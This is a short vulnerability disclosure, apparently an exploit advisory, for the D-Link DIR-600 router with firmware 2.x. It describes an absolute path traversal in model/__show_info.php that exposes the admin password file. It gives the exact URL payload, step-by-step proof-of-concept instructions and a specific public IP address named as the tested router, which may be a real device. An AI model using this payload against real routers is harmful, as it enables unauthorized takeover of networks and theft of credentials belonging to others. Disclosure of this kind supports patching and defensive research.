1) Description
  
After Successfully Connected to D-Link DIR-600 
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.
 
D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack, 
as demonstrated by discovering the admin password.
  
Its More Dangerous when your Router has a public IP with remote login
enabled.
  
  
IN MY CASE,
Tested Router IP : http://190.164.170.249
  
  
  
Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ
  
2) Proof of Concept
  
Step 1: Go to
Router Login Page : http://190.164.170.249:8080
  
Step 2:
Add the payload to URL.
 
Payload: model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd

Now you can download/upload settiing, Change setting etc.
